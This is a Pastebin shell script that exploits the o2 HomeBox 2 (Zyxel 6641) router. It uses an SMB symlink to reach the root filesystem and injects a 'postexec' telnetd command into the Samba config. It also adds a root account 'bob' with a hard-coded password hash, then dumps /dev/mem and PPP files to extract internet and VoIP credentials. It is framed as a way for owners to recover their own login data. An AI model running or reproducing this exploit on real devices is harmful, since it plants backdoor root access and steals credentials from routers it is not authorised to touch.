Advertisement
Guest User

Untitled

a guest
Nov 29th, 2016
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 15.42 KB | None | 0 0
  1. #!/bin/sh
  2.  
  3. # Copyleft by qwertz12
  4. # version 0.0000000.01eleven, 20150105
  5. # license: GPLv2 or later
  6.  
  7. # ToDo:
  8. # - parameter for $BOX
  9. # o parameter for $PHONENUMS
  10. # - parameter for $SMBUSER and $SMBPASS (mount.cifs)
  11. # - parameter for $TELNETPORT
  12. # o parameter for $REGISTRAR
  13. #   - check registrar against hostname regex
  14. # - remove postexec after telnet is running???
  15. # + print out the login data nicely
  16. # + get PPP connection and print out nicely
  17. # + check phone number format: [1-9][1-9][1-9][0-9][0-9][0-9][0-9]
  18.  
  19. # basic script security
  20. PATH=/sbin:/bin:/usr/sbin:/usr/bin
  21.  
  22. ### user configurable values
  23. BOX=''
  24. PHONENUMS=''
  25. REGISTRAR=''
  26. DRIVENUM=''
  27. TELNETPORT=23000
  28. SMBUSER=''
  29. SMBPASS=''
  30. # default values, no need to configure
  31. SMBDIR=$(mktemp -d 2>/dev/null)
  32. TMPDIR=$(mktemp -d 2>/dev/null)
  33. SMBSHARE=''
  34. SMBLINK=''      # $RANDOM is undefined here, if not bash. do this later
  35. MEMDUMP=''      # $RANDMON is undefined here, if not bash, do this later
  36. PPPUSER=''      # PPP User, format [[:alnum:]]*-CC5D4E@.*\.de
  37. PPPPASS=''      # PIN
  38. # default values: fallback for user configurable variables
  39. DEF_BOX='o2.box'
  40. DEF_REGISTRAR="sip.alice-voip.de"
  41. DEF_SIPPROXY="sip.alice-voip.de"
  42. DEF_SMBUSER="root"
  43. DEF_SMBPASS="dummy"
  44. DEF_DRIVENUM=1
  45.  
  46. ### function definitions
  47. usage()
  48. {
  49.     cat 1>&2 <<-EOF
  50.     Usage: $(basename "$0") [host]
  51.         This script tries to help you "own" yout o2 HomeBox 2 (Zyxel 6641)
  52.        
  53.         For certain parts of the script, root privileges are needed.
  54.         Please use sudo or run in a root shell!
  55.     EOF
  56. }
  57.  
  58. cleanexit()
  59. {
  60.     local ERRCODE=0
  61.     echo 'WRN: Break signalled or aborting script, trying to clean up - this may fail!' 1>&2
  62.     if [ ! -z "$TMPDIR" ] && [ ! -z "$MEMDUMP" ]; then
  63.         rm "$TMPDIR/$MEMDUMP" "$TMPDIR/$MEMDUMP.PIN" "$TMPDIR/$MEMDUMP.PPPuser"
  64.         rmdir "$TMPDIR"
  65.         rmdir "$SMBDIR"
  66.     fi
  67.     # the umount is essential: without it, the second script run fails!
  68.     [ -z "$SMBDIR" ] || umount "$SMBDIR"
  69.     ERRCODE=$1
  70.     echo 'Current smb/cifs mounts are:' 1>&2
  71.     mount | egrep -i 'cifs|smb' 1>&2
  72.     echo 'Exiting!' 1>&2
  73.     [ $ERRCODE -eq 0 ] || exit $1
  74.     exit 250
  75. }
  76.    
  77. # output SUCCESS or FAILURE and exit with exitcode if non-zero (parameter 1) and message (parameter 2)
  78. # previous return code get passed through the function, so no if then else needed ;)
  79. sucfailmsg()
  80. {
  81.     local ERR=$?        # must be the first statement
  82.     local RET="$1"
  83.     shift 1
  84.     local MSG="$*"
  85.     if [ $ERR -eq 0 ]; then
  86.         echo ' SUCCESS'
  87.         return $ERR
  88.     else
  89.         echo ' FAILURE'
  90.         [ -z "$MSG" ] || echo "$MSG" 1>&2
  91.         [ "$RET" -eq 0 ] || cleanexit $RET
  92.     fi
  93.     return $ERR
  94. }
  95.  
  96. # Get the password from a memory dump file
  97. # This requires a Registrar / Domain and a SIP-proxy.
  98. # Proxy may be omitted, Registrar is used instead.
  99. # Parameters >1 may be regular expressions for sed.
  100. # @param    $1  Memory dump
  101. # @param    $2  Phone number
  102. # @param    $3  Registrar
  103. # @param    $4  SIP-proxy
  104. # @return   string  Result: "Password<space>Proxy"
  105. get_sip_password_proxy()
  106. {
  107.     dbg "starting get_sip_password_proxy($*)"
  108.     if [ $# -lt 3 ] || [ $# -gt 4 ]; then
  109.         return 1
  110.     fi
  111.     local MDUMP=$1
  112.     local PHONENUM=$2
  113.     local REGISTRAR=$3
  114.     local SIPPROXY=$4
  115.     [ -f "$MDUMP" ] || return 2
  116.     [ ! -z "$PHONENUM" ] && [ ! -z "$REGISTRAR" ] || return 3
  117.     [ ! -z "$SIPPROXY" ] || SIPPROXY=$REGISTRAR
  118.     tr -cd '\11\12\15\40-\176' <"$MDUMP" |\
  119.         sed -n -e "s/^.*$PHONENUM$PHONENUM\([[:alnum:]]\{10,33\}\)$REGISTRAR\($SIPPROXY\).*$/\1 \2/p" | head -1
  120. }
  121.  
  122. # print something to stderr on debugging
  123. dbg()
  124. {
  125.     [ -z $DEBUG ] || echo "DBG: $*" 1>&2
  126. }
  127.  
  128. # /bin/sh does not have $RANDOM
  129. random16()
  130. {
  131.     hexdump -n 2 -e '/2 "%u\n"' /dev/urandom
  132. }
  133.  
  134. ### configuration - apply defaults or user values
  135. SMBLINK="0_link_to_r00t_$(random16)"        # use our own random function
  136. MEMDUMP="6441-own_memdump-$(random16).bin"  # use our own random function
  137.  
  138. # check for root permissions
  139. if [ $(id -u) -ne 0 ]; then
  140.     cat 1>&2 <<-EOF
  141.         Error: You are not root. This script needs root permissions for mounting etc.
  142.                Please run in a root shell or use "sudo".
  143.     EOF
  144.     usage
  145.     exit 3
  146. fi
  147.  
  148. # try to set to first parameter
  149. BOX=$1
  150. if [ -z "$BOX" ]; then
  151.     cat <<-EOF
  152.        
  153.         Please enter the IP address or hostname of your HomeBox 2 (Zyxel 6641)
  154.         or just press enter to use the default value
  155.     EOF
  156.     echo -n "Host [$DEF_BOX]: "
  157.     read BOX
  158. fi
  159.  
  160. if [ -z "$REGISTRAR" ]; then
  161.     cat <<-EOF
  162.        
  163.         Please enter the registrar of your VoIP connection
  164.         or just press enter to use the default value
  165.     EOF
  166.     echo -n "Registrar [$DEF_REGISTRAR]: "
  167.     read REGISTRAR
  168. fi
  169.  
  170. if [ -z "$SIPPROXY" ]; then
  171.     cat <<-EOF
  172.        
  173.         Please enter the sip-proxy of your VoIP connection
  174.         or just press enter to use the default value
  175.     EOF
  176.     echo -n "SIP-proxy [$DEF_SIPPROXY]: "
  177.     read SIPPROXY
  178. fi
  179.  
  180. if [ -z "$PHONENUMS" ]; then
  181.     cat <<-EOF
  182.        
  183.         Please enter the phone numbers to search for.
  184.         Seperate numbers with space and use the format
  185.             CCPPPPPPPNNNN
  186.         or
  187.             0PPPPPPPNNNN
  188.         (CC=Country-Code, PPPPP=Prefix, NNNN=Number)
  189.         For example: 498005900050 498005251378 08005900050 08005251378
  190.         If you are not sure which format is correct for your account,
  191.         simply specify both formats for your phone numbers!
  192.     EOF
  193.     echo -n 'Phone numbers: '
  194.     read PHONENUMS
  195. fi
  196.  
  197. # apply defaults, if still needed
  198. [ ! -z "$BOX" ] || BOX="$DEF_BOX"
  199. [ ! -z "$REGISTRAR" ] || REGISTRAR="$DEF_REGISTRAR"
  200. [ ! -z "$SIPPROXY" ] || REGISTRAR="$DEF_SIPPROXY"
  201. [ ! -z "$DRIVENUM" ] || DRIVENUM="$DEF_DRIVENUM"
  202. [ ! -z "$SMBUSER" ] || SMBUSER="$DEF_SMBUSER"
  203. [ ! -z "$SMBPASS" ] || SMBPASS="$DEF_SMBPASS"
  204.  
  205. if [ ! -z "$DEBUG" ]; then
  206.     cat 1>&2 <<-EOF
  207.         DEBUG: Script configuration
  208.             BOX=$BOX
  209.             REGISTRAR=$REGISTRAR
  210.             SIPPROXY=$SIPPROXY
  211.             SMBUSER=$SMBUSER
  212.             SMBPASS=$SMBPASS
  213.             PHONENUMS=$PHONENUMS
  214.     EOF
  215.     echo 'Current smb/cifs mounts are:'
  216.     mount | egrep -i 'cifs|smb'
  217. fi
  218.  
  219. ### sanity checks
  220.  
  221. for PHONENUM in $PHONENUMS; do
  222.     [ "$PHONENUM" != "${PHONENUM#0[1-9][0-9][0-9][0-9][0-9]}" ] && dbg "Phone with local prefix: $PHONENUM"
  223.     [ "$PHONENUM" != "${PHONENUM#[1-9][1-9][1-9][0-9][0-9][0-9][0-9]}" ] && dbg "Phone with country code: $PHONENUM"
  224.     if [ "$PHONENUM" != "${PHONENUM#[1-9][1-9][1-9][0-9][0-9][0-9][0-9]}" ] &&
  225.        [ "$PHONENUM" != "${PHONENUM#0[1-9][0-9][0-9][0-9][0-9]}" ] ; then
  226.         echo "Warning: Phone number $PHONENUM does not conform to expected format, removing!" 1>&2
  227.         # this has some ugly side effects if numbers contain each other
  228.         HEAD=${PHONENUMS%%$PHONENUM*}
  229.         TAIL=${PHONENUMS##*$PHONENUM}
  230.         PHONENUMS="$HEAD $TAIL"
  231.     fi
  232. done
  233. PHONENUMS=${PHONENUMS# }
  234. PHONENUMS=${PHONENUMS% }
  235. if [ -z "$PHONENUMS" ]; then
  236.     echo "No phone numbers to look for!" 1>&2
  237.     exit 1
  238. fi
  239.  
  240. dbg "After cleanup: PHONENUMS=$PHONENUMS"
  241.  
  242. # no mktemp
  243. if [ -z "$SMBDIR" ]; then
  244.     MYRAND=$(random16)
  245.     SMBDIR="/tmp/fallback.$MYRAND"
  246.     mkdir "$SMBDIR"
  247. fi
  248. if [ -z "$TMPDIR" ]; then
  249.     MYRAND=$(random16)
  250.     TMPDIR="/tmp/fallback.$MYRAND"
  251.     mkdir "$TMPDIR"
  252. fi
  253. if [ ! -d "$SMBDIR" ] || [ ! -d "$TMPDIR" ]; then
  254.     echo "Error: Could not create/access temp directories!" 1>&2
  255.     exit 2
  256. fi
  257.  
  258. dbg "Using tempdirs: SMBDIR=$SMBDIR TMPDIR)$TMPDIR"
  259.  
  260. # we have created some files, so let's register a trap handler which cleans up after a break
  261. trap cleanexit INT
  262.  
  263. if [ ! -z "$(mount | egrep -i 'cifs|smb')" ]; then
  264.     cat 1>&2 <<-EOF
  265.         Error: You have other active cifs/smb mounts which will cause this script to fail!
  266.                Please unmount these first!
  267.         Current smb/cifs mounts:
  268.         $(mount | egrep -i 'cifs|smb')
  269.     EOF
  270.     exit 4
  271. fi
  272.  
  273. echo -n "- trying to ping the box ($BOX)..."
  274. ping -q -c 3 -W 2 "$BOX" >/dev/null 2>&1
  275. sucfailmsg 5 "Please verify if the ip/hostname ($BOX) is correct and the box is running!"
  276.  
  277. # prepare environment for mount.cifs
  278. export PASSWD=$SMBPASS
  279.  
  280. # this is a hack. We know the box IP, but not the share name.
  281. # since I don't want to depend on too many external utilities (net, smbclient), we try several share names
  282. SMBSHARE=''
  283. for i in $(seq $DRIVENUM 9); do
  284.     SMBSHARE="//$BOX/DRIVE1_$i"
  285.     DRIVENUM=$i
  286.     echo -n "- trying to mount the box: $SMBSHARE..."
  287.     mount -t cifs -o rw,username=$SMBUSER "$SMBSHARE" "$SMBDIR"
  288.     sucfailmsg 0 && break
  289.     SMBSHARE='' # this is needed if all attempts fail
  290. done
  291.  
  292. if [ -z "$SMBSHARE" ]; then
  293.     echo 'Error: Could not determine share name, all tries to mount failed!' 1>&2
  294.     exit 6
  295. fi
  296.  
  297. # this works only with unix extensions
  298. # if other mounts exist without unix extensions, they will crash!
  299. # another side effect of this crash is, that all other mounting attempts succeed
  300. # but show no files, hence the message for sucfailmsg 9!
  301. echo -n "- trying to create symlink ($SMBLINK) to root directory..."
  302. ln -s / "$SMBDIR/$SMBLINK"
  303. sucfailmsg 7 "Could not create symlink!"
  304. sync
  305. sleep 1     # this keeps the umount from failing?
  306.  
  307. echo -n "- trying to unmount $SMBDIR..."
  308. umount "$SMBDIR"
  309. sucfailmsg 8 "Could not unmount!"
  310.  
  311. echo -n "- trying to mount the box a second time for exploit preparation..."
  312. mount -t cifs -o rw,nounix,username=$SMBUSER "$SMBSHARE" "$SMBDIR"
  313. sucfailmsg 9 "Could not mount!"
  314. sleep 1
  315.  
  316. # box is now mounted, activate postexec hack
  317. echo -n '- trying to append "postexec" code...'
  318. echo "postexec = /usr/sbin/telnetd -p $TELNETPORT" | \
  319.     tee -a "$SMBDIR/$SMBLINK/var/etc/smb/smb-shares.conf" >/dev/null
  320. sucfailmsg 10 "Could not append to file! Please check if the box isn't mounted twice!"
  321.  
  322. echo -n '- trying to create a user called "bob" with password "alice"'
  323. echo "bob:j6dJLMwweWCsM:0:0:Owner:/:/bin/sh" | \
  324.     tee -a "$SMBDIR/$SMBLINK/var/passwd" >/dev/null
  325. sucfailmsg 10 "Could not append to file! Please check if the box isn't mounted twice!"
  326. sync
  327.  
  328. echo -n "- trying to unmount $SMBDIR..."
  329. sleep 1     # this keeps the umount from failing?
  330. umount "$SMBDIR"
  331. sucfailmsg 11 "Could not unmount!"
  332.  
  333. echo -n "- trying to mount the box a third time for exploit execution..."
  334. mount -t cifs -o rw,username=$SMBUSER "$SMBSHARE" "$SMBDIR"
  335. sucfailmsg 12 "Could not mount!"
  336. echo -n "- trying to unmount $SMBDIR..."
  337. sleep 1     # this keeps the umount from failing?
  338. umount "$SMBDIR"
  339. sucfailmsg 13 "Could not unmount!"
  340.  
  341. echo -n "- checking for open port on $BOX:$TELNETPORT..."
  342. nc -z $BOX $TELNETPORT
  343. sucfailmsg 14 "Port not open or netcat error/not found!"
  344.  
  345. echo '- dumping memory from box to usb drive'
  346. echo '  please be patient: this takes at least 62 seconds...'
  347. (   sleep 2; echo "bob"
  348.     sleep 2; echo "alice"
  349.     sleep 2; echo ">/var/usbMnt/Drive1_$DRIVENUM/$MEMDUMP.loginOK"
  350.     sleep 1; echo "cat </var/ppp/PIN >/var/usbMnt/Drive1_$DRIVENUM/$MEMDUMP.PIN"
  351.     sleep 1; echo "cat </var/ppp/UserName_VoIP >/var/usbMnt/Drive1_$DRIVENUM/$MEMDUMP.PPPuser"
  352.     sleep 1; echo "ls -l /var/ppp/ >/var/usbMnt/Drive1_$DRIVENUM/$MEMDUMP.lsPPP"
  353.     sleep 1; echo "for i in var/ppp/*; do echo -n \"\$i:\"; cat \$i; echo; done >>/var/usbMnt/Drive1_$DRIVENUM/$MEMDUMP.lsPPP"
  354.     sleep 2; echo "cat </dev/mem >/var/usbMnt/Drive1_$DRIVENUM/$MEMDUMP"
  355.     sleep 48; echo ">/var/usbMnt/Drive1_$DRIVENUM/$MEMDUMP.dumpOK"
  356.     sleep 2; echo "exit"
  357. ) | nc -t $BOX $TELNETPORT >/dev/null
  358.  
  359. echo -n "- trying to mount the box a fourth time to download the memory dump..."
  360. sleep 1
  361. mount -t cifs -o rw,username=$SMBUSER "$SMBSHARE" "$SMBDIR"
  362. sucfailmsg 15 "Could not mount!"
  363.  
  364. echo -n "- trying to copy PPP username (<BOX-SERIAL>-CC5D4E@.*\.de), a failure here is OK..."
  365. # don't care about errors for PPP username, we'll get it later
  366. cp "$SMBDIR/$MEMDUMP.PPPuser" "$TMPDIR" 2>/dev/null
  367. sucfailmsg 0
  368. echo "- trying to copy PPP password (your PIN)..."
  369. echo -n "  If this fails, extraction of PPP data will fail!"
  370. cp "$SMBDIR/$MEMDUMP.PIN" "$TMPDIR"
  371. sucfailmsg 0
  372. echo -n "- downloading the memory dump to $TMPDIR..."
  373. cp "$SMBDIR/$MEMDUMP" "$TMPDIR"
  374. sucfailmsg 16 "Could not copy file!"
  375.  
  376. echo -n "- trying to unmount $SMBDIR..."
  377. sleep 1     # this keeps the umount from failing?
  378. umount "$SMBDIR"
  379. sucfailmsg 17 "Could not unmount!"
  380.  
  381. # we found the PIN but not the PPP user, let's try to get it from them memdump
  382. [ -f "$TMPDIR/$MEMDUMP.PIN" ] && PPPPASS=$(cat <"$TMPDIR/$MEMDUMP.PIN")
  383. [ -f "$TMPDIR/$MEMDUMP.PPPuser" ] && PPPUSER=$(cat <"$TMPDIR/$MEMDUMP.PPPuser")
  384. dbg "Box: PPPUSER=$PPPUSER PPPPASS=$PPPPASS"
  385. if [ -z "$PPPUSER" ] && [ ! -z "$PPPPASS" ]; then
  386.     cat <<-EOF
  387.     - looking for PPP username in memory dump, since I dind't get it from the box
  388.       This may fail in a lot of cases - you may have to get the data from
  389.       o2's hotline instead!
  390.     EOF
  391.     PPPUSER=$(tr -c '\11\12\15\40-\176' ' ' <$TMPDIR/$MEMDUMP | tr -s ' ' |\
  392.         grep -o -e " [[:alnum:]]*-CC5D4E@.*\.de.*$PPPPASS" |\
  393.         cut -d ' ' -f 2 | head -1)
  394. fi
  395. dbg "MemDump: PPPUSER=$PPPUSER PPPPASS=$PPPPASS"
  396.  
  397. echo '- looking for phone number + proxy name in memory dump...'
  398. FOUNDSTH=0
  399. PASSWORDS=''
  400. REGISTRARS=''
  401. PROXIES=''
  402. for PHONENUM in $PHONENUMS; do
  403.     CUR_REGISTRAR=$REGISTRAR
  404.     CUR_SIPPROXY=$SIPPROXY
  405.     MATCH_PASS=''
  406.     MATCH_PROXY=''
  407.     # let's try this the usual way
  408.     MATCH=$(get_sip_password_proxy "$TMPDIR/$MEMDUMP" "$PHONENUM" "$CUR_REGISTRAR" "$CUR_SIPPROXY")
  409.     if [ -z "$MATCH" ]; then
  410.         # let's try this with a hard coded alternative sipproxy (regex)
  411.         CUR_SIPPROXY='registrar..\.sip\.alice-voip\.de'
  412.         echo "   - No password for $PHONENUM found, retrying with sip proxy $CUR_SIPPROXY"
  413.         dbg "Switching to alternate sip proxy: Phone with local prefix: $PHONENUM"
  414.         MATCH=$(get_sip_password_proxy "$TMPDIR/$MEMDUMP" "$PHONENUM" "$CUR_REGISTRAR" "$CUR_SIPPROXY")
  415.     fi
  416.     if [ ! -z "$MATCH" ]; then
  417.         MATCH_PASS="${MATCH%% *}"
  418.         MATCH_PROXY="${MATCH##* }"
  419.         dbg "Password for $PHONENUM with proxy $MATCH_PROXY is: $MATCH_PASS"
  420.         FOUNDSTH=1
  421.         # this is ugly, but should work for the time being
  422.         PASSWORDS="$PASSWORDS $MATCH_PASS"
  423.         REGISTRARS="$REGISTRARS $CUR_REGISTRAR"
  424.         PROXIES="$PROXIES $MATCH_PROXY"
  425.     else
  426.         echo "   - No password for $PHONENUM found"
  427.         PASSWORDS="$PASSWORDS NOTHING_FOUND"
  428.         REGISTRARS="$REGISTRARS NOTHING_FOUND"
  429.         PROXIES="$PROXIES NOTHING_FOUND"
  430.     fi
  431. done
  432. # remove leading space
  433. PASSWORDS="${PASSWORDS# }"
  434. REGISTRARS="${REGISTRARS# }"
  435. PROXIES="${PROXIES# }"
  436. cat <<-EOF
  437.  
  438.     ~~~~~~~~~~~~~~~~ FINISHED, RESULTS FOLLOW ~~~~~~~~~~~~~~~~
  439.  
  440. EOF
  441. if [ ! -z "$PPPUSER" ]; then
  442.         cat <<-EOF
  443.             Your PPP (internet) login data is:
  444.                 Username:   $PPPUSER
  445.                 Password:   $PPPPASS
  446.         EOF
  447. fi
  448.  
  449. if [ $FOUNDSTH -eq 0 ]; then
  450.     cat <<-EOF
  451.    
  452.     Since I've found no VoIP passwords, I'm leaving the memory dump in
  453.     $TMPDIR/$MEMDUMP
  454.     intact for you to look into.
  455.     Since anything unter /tmp is usually a ramdisk, this should
  456.     not have any side effects, BUT YOU WILL LOOSE THE DATA ON REBOOT!
  457.     EOF
  458.     exit
  459. fi
  460.  
  461. for PHONENUM in $PHONENUMS; do
  462.     if [ "${PASSWORDS%% *}" != "NOTHING_FOUND" ]; then
  463.         cat <<-EOF
  464.         For phone number $PHONENUM, please use the following
  465.         data to configure your router:
  466.        
  467.             Phone number:   your telephone number without prefixes
  468.             Username:   $PHONENUM
  469.             Password:   ${PASSWORDS%% *}
  470.             Registrar:  ${REGISTRARS%% *}
  471.             SIP-proxy:  ${PROXIES%% *}
  472.        
  473.         EOF
  474.     fi
  475.     # remove anything till first space, including
  476.     # this must be done for every match, even if nothing was found
  477.     PASSWORDS="${PASSWORDS#* }"
  478.     REGISTRARS="${REGISTRARS#* }"
  479.     PROXIES="${PROXIES#* }"
  480. done
  481. cat <<-EOF
  482.     Please note:
  483.         You may have to reconfigure you FritzBox slightly.
  484.         o2 uses rtp_priority = 26 and rtp_port >51000
  485.         in their box.
  486.         In case of problems with voice quality, try to edit
  487.             /var/flash/voip.cfg
  488.         on your FritzBox accordingly.
  489.  
  490. EOF
  491.  
  492. echo '- cleaning up...'
  493. rm "$TMPDIR/$MEMDUMP" "$TMPDIR/$MEMDUMP.PIN" "$TMPDIR/$MEMDUMP.PPPuser" 2>/dev/null
  494. rmdir "$TMPDIR" 2>/dev/null
  495. rmdir "$SMBDIR" 2>/dev/null
  496. cat <<-EOF
  497.  
  498.     Please note: Files on the USB-Stick of the Box are left intact!
  499.     You may use them to further debug your results.'
  500.  
  501.     Bye!
  502. EOF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement